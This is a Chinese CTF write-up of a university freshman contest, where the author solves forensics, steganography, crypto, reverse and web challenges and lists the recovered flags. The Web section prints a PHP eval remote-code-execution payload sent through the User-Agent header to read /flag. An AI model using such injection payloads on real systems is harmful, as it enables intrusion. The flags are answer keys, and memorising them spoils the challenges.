作者：Tzxy
战果：总榜第6，2025级第六，得分2747，解题数17
这个成绩看上去疑似很好看实则惊天大混子，只会梭的一集，又因为这次题目恶心+难，把不少只打一个方向的选手挤下去了。

写在前面：
也是第一次写WP，写的不好的地方请大家指出！
人人都在抢血，只有我在爆零。
虽然本身不觉得生日这天打新生赛会愉悦，但没想到这么恶心人，生理上的想吐了，险些发烧。
WSRX真是太恶心人了，咱是一定得用这个东西吗？？？？？
感谢ChatGPT、Deepseek、Gemini、Qwen对本人的大力支持。

Misc

Div4

F0rensics-truly_easy_pcap

此题由于出题人5min极速出题而未验题的疏忽导致本人附件解出的flag有小小的问题。后来附件重上了。
随波逐流，USB键盘流量提取，得到

<CAP>t<CAP>his<SPACE>is<SPACE>a<SPACE>truly<SPACE>easy<SPACE>forensics<SPACE>challenge.<SPACE><CAP>i<CAP>f<SPACE>you<SPACE>have<SPACE>read<SPACE>my<SPACE>blog,<SPACE>yoouu<DEL><SPACE>can<SPACE>get<SPACE>the<SPACE>flag<SPACE>easily<SPACE>by<SPACE><DEL><DEL><DEL>via<SPACE>script.<SPACE><CAP>whuctf<CAP>[a-truly-<CAP>ez<CAP>--one]<SPACE><CAP>h<CAP>ope<SPACE>you<SPACE>can<SPACE>like<SPACE>it.e

即WHUCTF{a_truly_EZ_-one}
交flag发现出问题了，出题人把题目下了之后重上。
即WHUCTF{a_truly_EZ_one}

Div3

猫咪日记01

略，随波逐流一把梭了。

梅林午餐肉

meat.txt中字符为：

CCBCBCBCBCCCCCCCCBBC CCCBBCBBCBCBBCCBCCBC CBCBBCCCCCCBCCBCCBCC BCCCBCBBCCCBBCBBCBCC CCCCCCBBCCBCBBCCBCBBCBBCBBCCCCCCBCC

C换成A之后

AABAB ABABA AAAAA AABBA AAABB ABBAB ABBAA BAABA ABABB AAAAA ABAAB AABAA BAAAB ABBAA ABBAB BABAA AAAAA ABBAA BABBA ABABB ABBAB BAAAA AABAA

bacon解密得到flagdontmakesnowanymore
即flag{dont_make_snow_anymore}

AI problem 1

AI题就是要AI一把梭。WP也该让AI写。

分析权重文件提取密钥

首先对 mnist_cnn_weights.pth 进行反查，可以用以下命令：
import torch sd = torch.load("mnist_cnn_weights.pth", map_location="cpu") print(sd.keys())

在 key 名中可以看到两个非常显眼的字段：
XOR_KEY_PART1_CIALLO0d000721 XOR_KEY_PART2_998244353ISAPRIME

由此可知题目提示的“简单加密”即为 XOR 异或加密，且密钥被分成两段，拼接顺序应为：
CIALLO0d000721998244353ISAPRIME

分析模型结构

根据权重参数形状推断网络结构如下：

class Model(nn.Module): def __init__(self): super().__init__() self.conv1 = nn.Conv2d(1, 32, 3, padding=1) self.pool = nn.MaxPool2d(2,2) self.conv2 = nn.Conv2d(32, 64, 3, padding=1) self.fc1 = nn.Linear(64*7*7, 128) # 对应 XOR_KEY_PART2_* self.fc2 = nn.Linear(128, 10) # 对应 XOR_KEY_PART1_*

推理流程为：

conv1 → ReLU → pool → conv2 → ReLU → pool → flatten → fc1 → ReLU → fc2

这与典型的 MNIST CNN 结构一致。

训练新模型

题目要求在 modified_mnist 上训练一个新模型。使用相同结构即可：

python train_new_model.py \ --train_images modified_mnist/train-images-idx3-ubyte \ --train_labels modified_mnist/train-labels-idx1-ubyte \ --epochs 5 --subset 60000 --save_path mnist_cnn_new.pth

训练完成后，模型会保存为 mnist_cnn_new.pth，用于推理阶段。

推理与加密生成

编写 solve_flag.py：

加载模型（或 remap 原权重层名）
递归读取 imgs/ 文件夹下所有图片
按自然顺序排序（确保 0,1,2,…,99,100）
依次推理，拼接数字成十进制串
转为十六进制密文
得到类似输出：
Digits length: 101 Digits preview: 4215518351573... Hex ciphertext: 4d17b14d88dca83f...

解密过程

根据密钥提示“XOR_KEY_…”，直接对密文进行循环 XOR 解密：
def xor_decrypt_hex(hex_str, key): ct = bytes.fromhex(hex_str) return bytes(b ^ key[i % len(key)] for i, b in enumerate(ct))

两种顺序都尝试：
key1 = b"CIALLO0d000721998244353ISAPRIME" key2 = b"998244353ISAPRIMECIALLO0d000721"

最终解密出正确的明文（flag）
即flag{3464ea41-a5ac-11f0-a8d4-00155daa324f}

Div2

猫咪日记02

txt中一大串颜文字，AAencode解密得到alert("{miao~}“
然后从此卡了鄙人26个小时。hint出出出，题解数upupup，心态crackcrackcrack。
对hint.zip使用脚本读取CRC值如图：

脚本项目地址：

搜索Tupper，后知后觉地得知有一个Tupper's Self-Referential Formula，搜索相关脚本，带入神秘数字跑出来如图：

脚本为：

#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
  
from __future__ import annotations  
  
def Tupper_self_referential_formula():  
    # Tupper's self-referential constant k  
    k = 180212012173722546561719108170953334945646509575257766053044972614265432006938605954778788954249917317874987474396645113333162619982013630555276705102826832574191933210789395597050420494318310443820679323957025759068941359912773974918072622601535881121994362965041888217678234174696761773720471697547167376729059011208307138160491271226258006712007525850361882511229655041423592248503655084852821780262006797045449818301088203708530121687453872764956524342891129441733245403136  
  
    def f(x: int, y: int) -> bool:  
        # d is always <= 0 for x>=0 and 0<=y%17<=16  
        d = (-17 * x) - (y % 17)  
        # e = 2 ** (-d) using bit shift for big integers  
        e = (1 << (-d)) if d < 0 else 1  
        g = ((y // 17) // e) % 2  
        return 0.5 < g  # i.e., g == 1  
  
    lines = []  
    for y in range(k + 16, k - 1, -1):  
        line = ""  
        for x in range(0, 107):  
            line += "@" if f(x, y) else " "  
        lines.append(line)  
    return "\n".join(lines)  
  
if __name__ == "__main__":  
    print(Tupper_self_referential_formula())

GOOD]#Y即为flag.zip的密码，解压得flag。

旧依老色批

得到蒯老.png，搜索得知老蒯是一个词，可知这题主基调为反转。
使用010Editor打开文件，发现最末hex为74 E4 05 98，反转后为89 50 4E 47，即.png文件的文件头。编写脚本将所有hex反转后得到fixed.png，脚本如下：

def reverse_hex_file(input_file, output_file):
    """
    将文件的十六进制表示完全反转
    例如: 28 06 24 EA -> AE 42 60 82
    """
    try:
        # 读取原始文件
        with open(input_file, 'rb') as f:
            original_data = f.read()
        
        # 将整个数据转换为十六进制字符串
        hex_string = original_data.hex()
        
        # 反转十六进制字符串
        reversed_hex = hex_string[::-1]
        
        # 将反转后的十六进制字符串转换回字节
        reversed_data = bytes.fromhex(reversed_hex)
        
        # 写入新文件
        with open(output_file, 'wb') as f:
            f.write(reversed_data)
        
        print(f"✅ 文件已成功处理!")
        print(f"输入文件: {input_file}")
        print(f"输出文件: {output_file}")
        
        # 显示前后对比
        print(f"\n原始文件:")
        print(f"  文件头: {original_data[:8].hex(' ').upper()}")
        print(f"  文件尾: {original_data[-8:].hex(' ').upper()}")
        
        print(f"\n反转后文件:")
        print(f"  文件头: {reversed_data[:8].hex(' ').upper()}")
        print(f"  文件尾: {reversed_data[-8:].hex(' ').upper()}")
        
    except Exception as e:
        print(f"处理文件时出错: {e}")

# 运行脚本
if __name__ == "__main__":
    input_file = "蒯老.png"
    output_file = "fixed.png"
    
    reverse_hex_file(input_file, output_file)

得到fixed.png，带派！
然后卡了26个小时。hint出出出，题解数upupup，心态crackcrackcrack。还被sishijiu疯狂压力。

你别告诉我你stegsolve不会打开。
原来你是梭狗吗。
——sishijiu

“啊对还真是，我就是个臭混分的，别骂了球球了。”

LSB，用Stegsolve提取数据，如图：

得到密文^D>,C?Td+QI;SxjS n}&gP,jB
扔进随波逐流，在base91解码这一栏，得到flag.zip的密码，da1_p1e_bu_L4o_t1e?
实在是很不起眼了。
得到flag。

Web

Div3

U5er0Agent

打开网页后得到提示，查看源代码。

if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $user_agent_string = $_SERVER['HTTP_USER_AGENT'];
    
    $processing_result = $system_processor->processUserInput($user_agent_string);

经过processUserInput，

public function processUserInput($input_data) {
    $validation_result = $this->validateInputString($input_data);
    
    if ($validation_result['status'] === 'VALID') {
        $this->logEvent('VALIDATION_PASS', 'Input validation successful');
        return $this->executeSecureCode($input_data);

跳转至executeSecureCode，

private function executeSecureCode($code_fragment) {
    $this->logEvent('EXECUTION_START', 'Beginning secure code execution');
    
    try {
        eval($code_fragment);

看出是eval RCE，构造命令：

curl -s http://127.0.0.1:10160/ -H 'User-Agent: echo file_get_contents(base64_decode("L2ZsYWc="));'

或者修改请求头：

User-Agent: echo file_get_contents(base64_decode("L2ZsYWc="));

得到flag，即WHUCTF{k1C_kRaZy_7hur5DAY_v_ME_5o_NOw_pIZZzz2z}

Div2

井字棋小游戏

读取源码喂给AI
关键信息从源码里可读出来：

接口路径：/fl4gggg_gy56dwdccfs_l
方法：POST
头：Content-Type: application/json
请求体：{"winner":"player___"}
（注意是 "pla" + "yer___" 拼起来 → player___，包括 3 个下划线）
返回 200 就会弹出：flag: <响应体>

控制台执行

fetch('/fl4gggg_gy56dwdccfs_l', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  // 注意 winner 的值必须是精确的 "player___"
  body: JSON.stringify({ winner: 'player___' }),
  credentials: 'same-origin' // 以防需要同源 Cookie
})
  .then(r => r.text())
  .then(t => console.log('flag:', t))
  .catch(console.error);

得到flag

apacherrr

没错这个题我根本没做，本来打算做的，我开这一栏纯粹为了控诉WSRX这个恶心人的玩意。

Reverse

Div3

签到

用IDA找到main函数，之后GPT一把梭。

即WHUCTF{welcome_to_reverse-eqe}.exe

ezbase

base64解码，但是有自定义的表，即

vBCDEFGHIJKLMNOPQRSTUVWXYZAbcdefghijklmnoqprstuawxyz0123456789+/

解码得flag，即whuctf{6@se64_1s_very_3@sy-zxz}.exe

Crypto

~~Crypto咱喵打算只混个签到的分喵，轻喷喵。~~
二编：没想到混分全靠cry，我都要cry了。

Div3

GPT一把梭。

得到解题脚本：

import base64
from math import isqrt

# 给定数据
c = int("15691004504992202032317971693949709648608175940878393465837825142986280288184965855974178982689952527073808372247720945348821365168885324128527799693228889914393109318704373025840689358899237597494810359055931557241343088202760358423171744734123364512635441755121622909939466041406721396057669768857826559046")

pem_lines = [
"MIICWwIBAAKBgFDb9Iw0F251NHb7jZlQxlDebK5SKICKb5NAthhauYPVEY0eHH/e",
"fKl3mOtmaIK0SvGNrhg3rKwENplM27pqSDflUk9vmYPHRE16SNxUb4cCx9/HiqV7",
"uc/0m7iKzWuEEsLYliYIzOboEfLDXYmNj82pS1/834SdcQ4GwfJ6SUs/AgMBAAE",
]
b64 = "".join(pem_lines)
b64 += "=" * ((4 - len(b64) % 4) % 4)
der = base64.b64decode(b64)

# 解析 ASN.1：SEQUENCE -> version -> modulus n -> exponent e
i = 0
def read_len(data, i):
    l = data[i]; i += 1
    if l & 0x80:
        n = l & 0x7F
        val = 0
        for _ in range(n):
            val = (val << 8) | data[i]; i += 1
        return val, i
    else:
        return l, i

assert der[i] == 0x30; i += 1          # SEQUENCE
_, i = read_len(der, i)
assert der[i] == 0x02; i += 1          # INTEGER (version)
l, i = read_len(der, i); i += l
assert der[i] == 0x02; i += 1          # INTEGER (modulus n)
ln, i = read_len(der, i)
n = int.from_bytes(der[i:i+ln], 'big'); i += ln
assert der[i] == 0x02; i += 1          # INTEGER (exponent e)
le, i = read_len(der, i)
e = int.from_bytes(der[i:i+le], 'big'); i += le
assert e == 65537

# 费马分解（p,q 很接近）
a = isqrt(n)
if a * a < n: a += 1
while True:
    b2 = a*a - n
    b = isqrt(b2)
    if b*b == b2:
        p, q = a - b, a + b
        break
    a += 1

# 还原 d，解密
phi = (p - 1) * (q - 1)
def egcd(a, b):
    if b == 0: return (a, 1, 0)
    g, x, y = egcd(b, a % b)
    return (g, y, x - (a // b) * y)

def invmod(a, m):
    g, x, _ = egcd(a, m)
    if g != 1: raise ValueError("no inverse")
    return x % m

d = invmod(e, phi)
m = pow(c, d, n)
k = (n.bit_length() + 7) // 8
pt = m.to_bytes(k, 'big')
# 去掉前导 0
pt = pt[next((i for i,b in enumerate(pt) if b!=0), len(pt)):]
print(pt.decode('utf-8', errors='ignore'))

即WHUCTF{Y0u_succe5sfully_ch3ckin9_1n_t0_Cryp7ography!}

Div2

Glowing

拷打AI得到脚本：

# solve.py
import string

hex_blocks = [
"0x162e21262621171844112a436d247f1c2e2d07720b3f545b7f0e5259177f4d040e03690745192b18",
"0x3368373a740e121a52432a10182037153d3e4333173417473e1f13511c2d54090b572808425c355d",
"0x5293b63192f0f16585463472c367f04233e00371d705e5e7f0d13531a395f091d12271a165a2b1c",
"0x243b75252629165747592610223137113d2c433b17705a593b085f52532c5a0400182540166d2f18",
"0x772e3c353166171e4554635234652b1c2a7f00201c355310300a135a123657180e1e2707585e6709",
"0x3f2d3c317420091e565f2743252c2f4f6f360d721833545f2d085259103a191b0603214e5d5c220d",
"0x3e263263202e1e1e411130442c312a076f2e163d557043583a15135f12295c4c0e576b1c594c2015",
"0x7a29272c21281f5a4759261d282138113c7d43331c2343583a185a54533e57084f03210b5f4b6710",
"0x223b3c2074251e19475431436d2a31543b37063b0b705451320d4156173a4b050a59693a5e5c6713",
"0x36253063372916124011254222287f00273a431717375b592c041343162d544c09183b4e4251225d",
"0x322e332637325b185d11375828652c1f367f053d153c584736025417127f4a1901042c1a1a193409",
"0x3225382a3a215b11415e2e10392d3a54292d0a37173444102d0954421f3e4b0016573e0f425a2f14",
"0x392f75373c235b04465f305539652b1b283a173a1c221979314c475f167f5802061a2c1d164a221e",
"0x3826316327231a045c5f6f100c232b113d380f3d0e7047512d185a541a2f58180a0469075819265d",
"0x24203a33242f151013552a43393736173b7f05370a245e463e0013401a2b514c3f18391e5f57171c",
"0x253c2c6f7420141b5f5e345529653d0d6f2b0b37593c56442b094144532c5c00095a3a1e59573412",
"0x252d3163382f0d121d11175828653d15213b4321123947437f185b525318501e0304692c5757235d",
"0x1420342f3823151056112a5e6d3137116f2b0b3b0b3417433a0d40581d7f5d190a573d01164a2415",
"0x322c202f3d281c57505e2d56212c3c003c7143131f24524238005c405337581f4f03211c535c671f",
"0x36263163273214055a543010242b7f33262d0f215912565e3b4c6356012b404d55576b2f504d220f",
"0x30243a3478662f1f5611105120207f353c7f223e0e314e437d4c5558102a4a091c572600166b2613",
"0x2468272638270f1e5c5f305824357f03262b0b7211354510390d475f162d190d011369065f4a6719",
"0x3e3b343324341401525d635f2b652b1c2a7f013317340c107d385a52177f4d034f03210b166a2c14",
"0x323b776326230d185f4726102c373001213b433a1c2217572d0344431b7f58020b57210b4419251c",
"0x392c382220230857555422423e652b1c2e2b432611354e103e1e5617113a50020857250b504d671f",
"0x32203c2d307d5b165d556312022b3a54203943070a72175630005f58042c19180712690c5757235d",
"0x32262126262f151013452b556d083a18203b0a3159025659314c5e4200365a4c0a012c004217",
]

# 解析为字节数组（按大端，不补最高位的 0；每对密文做最短长度 XOR）
cts = []
for h in hex_blocks:
    v = int(h, 16)
    b = v.to_bytes((v.bit_length()+7)//8, 'big') if v > 0 else b'\x00'
    cts.append(b)

n = len(cts)
max_len = max(len(c) for c in cts)

def is_alpha(x: int) -> bool:
    return 65 <= x <= 90 or 97 <= x <= 122

# ------- 第 1 阶段：空格探测拿一版密钥 -------
candidate_space = [ [0]*len(cts[i]) for i in range(n) ]
for i in range(n):
    for j in range(i+1, n):
        m = min(len(cts[i]), len(cts[j]))
        for k in range(m):
            # 若 C_i ^ C_j ^ 0x20 呈现为字母，说明 i 或 j 该位大概率为空格
            if is_alpha((cts[i][k] ^ cts[j][k]) ^ 0x20):
                candidate_space[i][k] += 1
                candidate_space[j][k] += 1

threshold = n // 2  # 半数以上认为是空格
ks = [None]*max_len
for k in range(max_len):
    for i in range(n):
        if k < len(cts[i]) and candidate_space[i][k] > threshold:
            ks[k] = cts[i][k] ^ 0x20  # K = C ^ ' '

# ------- 第 2 阶段：按列打分细化密钥 -------
ascii_printable = set(range(32, 127))
letters = set(range(ord('A'), ord('Z')+1)) | set(range(ord('a'), ord('z')+1))
digits  = set(range(ord('0'), ord('9')+1))
common_punct = set(map(ord, " ,.;:-_{}()'\"!?/"))
allowed_flag  = set(map(ord, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}"))

def refine_pos(k, seed=None):
    # 候选集合由“空格/字母/数字/常见标点”反推得到
    candidates = set()
    for i in range(n):
        if k < len(cts[i]):
            c = cts[i][k]
            candidates.add(c ^ 0x20)
            for ch in letters: candidates.add(c ^ ch)
            for ch in digits:  candidates.add(c ^ ch)
            for ch in common_punct: candidates.add(c ^ ch)
    if seed is not None:
        candidates.add(seed)
    best_s, best_score = None, -1
    for s in candidates:
        printable = alpha = flag_like = 0
        for i in range(n):
            if k < len(cts[i]):
                p = cts[i][k] ^ s
                if p in ascii_printable: printable += 1
                if p in letters or p == 0x20: alpha += 1
                if p in allowed_flag: flag_like += 1
        # 综合打分：更多“可打印/字母或空格/像 flag 的字符”更好
        score = printable + 0.2*alpha + 0.1*flag_like
        if score > best_score:
            best_score, best_s = score, s
    return best_s

for k in range(max_len):
    ks[k] = refine_pos(k, ks[k])

# 解出 flag（密钥流本体）
flag = ''.join(chr(ks[k]) for k in range(max_len))
print("Recovered flag:", flag)

# 顺便把明文解出来，验证一下可读性
for idx, c in enumerate(cts, 1):
    p = bytes(c[i] ^ ks[i] for i in range(len(c)))
    print(f"Block {idx:02d}:", p.decode('ascii', errors='replace'))

得到结果：

Recovered flag: WHUCTF{w31C0ME_tO_cRyP70_l37s_9lowIn69G}
Block 01: Afterglow is a hard rock band that is le
Block 02: d by Himari Uehara and was formed after 
Block 03: Ran Mitake was placed in a different cla
Block 04: ss from the others in middle school. The
Block 05:  five live by the creed of maintaining t
Block 06: heir friendship; in accordance with keep
Block 07: ing their status quo, they have a "rough
Block 08: -around-the-edges" aesthetic and their m
Block 09: usic centers on their camaraderie. The n
Block 10: ame comes from the English term for the 
Block 11: effect on the sky following a sunset, st
Block 12: emming from the friends regularly watchi
Block 13: ng the sunset together.In the animes sec
Block 14: ond season, Afterglow participates in a 
Block 15: shopping district festival with PoppinPa
Block 16: rty, followed by the latters self-sponso
Block 17: red live. The band skips the Girls Band 
Block 18: Challenge in the third season due to sch
Block 19: eduling conflicts. Afterglow has three b
Block 20: and stories in Girls Band Party!: "After
Block 21: glow, The Same As Always" focuses on Ran
Block 22: s relationship with her father and his d
Block 23: isapproval of the band; "Tied to the Ski
Block 24: es" revolve around her growth and her ba
Block 25: ndmates fears that they are being left b
Block 26: ehind; and "One of Us" follows the band 
Block 27: entering the Melodic Rain music event.

看得出来Misay确实很邦
即WHUCTF{w31C0ME_tO_cRyP70_l37s_9lowIn69G}

No_task_file

复现。

于是全部选1

即WHUCTF{74a0f60c-22ae-4493-b202-53877805aa18}

DAWN-AES

拷打GPT，叫我去输入96个0，如图

即WHUCTF{cryptoGraPhY_DREam_lT5_DaWn_4esss_SyStem}

Pwn

Div3

ncc

nc连接靶机之后cat flag即可。
即flag{dd2fb9f6-7bc8-4899-98a0-9def2ac46ba0}

写在最后：

大家都辛苦了！感谢陪伴，我相信故事尚未完结。

尽管我太平凡。

Hack for fun not for profit_

Misc

Div4

F0rensics-truly_easy_pcap

Div3

猫咪日记01

梅林午餐肉

AI problem 1

分析权重文件提取密钥

分析模型结构

训练新模型

推理与加密生成

解密过程

Div2

猫咪日记02

旧依老色批

Web

Div3

U5er0Agent

Div2

井字棋小游戏

apacherrr

Reverse

Div3

签到

ezbase

Crypto

Div3

Sign_in

Div2

Glowing

No_task_file

DAWN-AES

Pwn

Div3

ncc

写在最后：